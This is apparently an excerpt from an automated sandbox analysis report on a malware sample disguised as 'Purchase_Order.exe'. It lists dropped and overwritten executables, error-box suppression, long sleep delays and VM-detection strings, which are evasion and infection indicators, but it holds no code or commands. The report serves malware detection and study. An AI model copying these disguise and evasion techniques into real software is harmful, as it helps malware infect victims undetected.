Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\msdtc.exe Jump to dropped file

Hooking and other Techniques for Hiding and Protection

barindex
Source: C:\Windows\System32\TieringEngineService.exe File created: C:\System Volume Information\Heat\
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 4528 Thread sleep time: -44102s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 2956 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 4296 Thread sleep time: -90000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 4296 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe TID: 6184 Thread sleep time: -300000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe TID: 6172 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\msdtc.exe TID: 7076 Thread sleep count: 460 > 30
Source: C:\Windows\System32\msdtc.exe TID: 7076 Thread sleep time: -46000s >= -30000s
Source: C:\Windows\SysWOW64\perfhost.exe TID: 7164 Thread sleep count: 1696 > 30
Source: C:\Windows\SysWOW64\perfhost.exe TID: 7164 Thread sleep time: -16960000s >= -30000s
Source: C:\Windows\SysWOW64\perfhost.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\perfhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\Purchase_Order.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\msdtc.exe Window / User API: threadDelayed 460
Source: C:\Windows\SysWOW64\perfhost.exe Window / User API: threadDelayed 1696
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\rmid.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\104.0.5112.81\chrome_pwa_launcher.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\microsoft shared\VSTO\10.0\VSTOInstaller.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\ssvagent.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Users\user\Downloads\ChromeSetup.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\104.0.5112.81\Installer\setup.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\tnameserv.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\keytool.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\jp2launcher.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\Office Setup Controller\Setup.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\MSOXMLED.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\klist.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files\Windows Media Player\wmpnetwk.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleCrashHandler64.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\Oarpmany.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Windows\System32\msiexec.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\104.0.5112.81\notification_helper.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\VSTO\10.0\VSTOInstaller.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\microsoft shared\DW\DWTRIG20.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\jabswitch.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\policytool.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\rmiregistry.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\ktab.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\FLTLDR.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\kinit.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleUpdateCore.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Check.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\LICLUA.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\microsoft shared\Source Engine\OSE.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\servertool.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\orbd.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\104.0.5112.81\Installer\chrmstp.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Windows\System32\wbem\WmiApSrv.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleUpdateBroker.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\jjs.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleUpdate.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\MSOSQM.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\OFFICE16\CMigrate.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleUpdateOnDemand.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleUpdateSetup.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\unpack200.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javacpl.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\OLicenseHeartbeat.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Windows\System32\xbgmsvc.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java-rmi.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\javaws.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\OFFICE16\MSOXMLED.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Windows\System32\VSSVC.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\104.0.5112.81\elevation_service.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Windows\System32\SearchIndexer.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleUpdateComRegisterShell64.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaws.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleCrashHandler.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\CSISYNCCLIENT.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\microsoft shared\Smart Tag\SmartTagInstall.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\Office Setup Controller\ODeploy.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\javaw.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\110\SQLDumper.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\104.0.5112.81\chrome_installer.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\CMigrate.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre1.8.0_211\bin\pack200.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\microsoft shared\DW\DW20.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe Thread delayed: delay time: 44102 Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File opened: C:\Users\user\AppData\Roaming\ Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\ Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\ Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\ Jump to behavior
Source: Spectrum.exe, 0000001A.00000002.783923102.0000000000550000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: NVJVMware Virtual disk SCSI Disk DeviceJC:\Windows\System32\DDORes.dll,-2511
Source: Spectrum.exe, 0000001A.00000003.343093122.0000000000590000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ;;SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
